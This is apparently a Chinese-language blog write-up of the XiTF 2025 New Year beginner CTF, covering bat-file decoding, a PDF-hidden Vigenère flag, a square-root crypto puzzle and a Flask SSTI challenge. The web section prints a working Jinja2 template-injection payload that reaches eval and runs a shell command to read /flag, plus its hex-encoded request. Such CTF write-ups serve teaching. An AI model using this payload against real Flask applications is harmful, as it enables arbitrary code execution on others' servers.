yemaster的小窝

XiTF 2025 元旦赛 WriteUp

2025-01-01
29

这次比赛定位是基础赛,所以题目基本都是入门难度。

Misc

还好我删了输出

资源下载

题目描述

这个 bat 文件里面怎么有 flag?还好我把输出删了,并且还把文件加密了,这下你看不到 flag 了,哈哈!!

解答

这个是远古的 bat 简单加密方式。只需要 strings 一下就可以了:

原神,启动!

资源下载

题目描述

你说得对,但是,中间忘了,后面忘了。

解答

分两步走,首先 pdf 里面隐藏了一张图片,是在原神的图片的下面的,用 word 打开 pdf 或者用其他 pdf 编辑器就行。

得到一个很像 flag 的字符串:lpny{f0C_s1th_F3uY3b_vs4Kr_1f_wLs!}

然后 pdf 的元信息里面提示了 key:genshin,猜测是维吉尼亚密码,所以解码得到 flag:flag{y0U_f1nd_S3cR3t_im4Ge_1n_pDf!}

Crypto

ezezez

朕的平方根

资源下载

题目描述

  • 嬛嬛,把朕那个20位大数的平方根端上来
  • 陛下,臣妾不小心把整数部分弄丢了,只有小数点后80位了
  • 没事,朕照样能把这个数找出来!

解答

这道题其实是看到知乎上的一个问题:https://www.zhihu.com/question/2059501083/answer/36169541158,原理和 exp 在文章中已经说明了。

Web

Hash 解码工具

资源下载

题目描述

怎么那么多题目最后都是 base64 或者 hex 编码的 flag?刚刷了 10000 道 web 题的 yema 如是说道。于是,yema 就用 flask 顺手写了一个在线解码网站,没想到,过了 2 秒半网站就被黑了……

解答

题目描述和网站已经给出提示了:flask 和 jinja2,这道题是 flask 的 ssti,还没有过滤。因此,只需要搞出来 eval 就行,网上随便抄了个 payload:{{url_for['__globals__']['current_app']['__init__']['__globals__']['__builtins__']['eval']("xxx")}},之后就可以直接运行任意代码了:{{url_for['__globals__']['current_app']['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

最终访问 /?hash=hex&hash_text=7b7b75726c5f666f725b275f5f676c6f62616c735f5f275d5b2763757272656e745f617070275d5b275f5f696e69745f5f275d5b275f5f676c6f62616c735f5f275d5b275f5f6275696c74696e735f5f275d5b276576616c275d28225f5f696d706f72745f5f28276f7327292e706f70656e2827636174202f666c616727292e72656164282922297d7d 即可。

我的博客

Re

加加减减

Pwn

复读机

AI

你的复变助教

分类标签:none
Comments

目录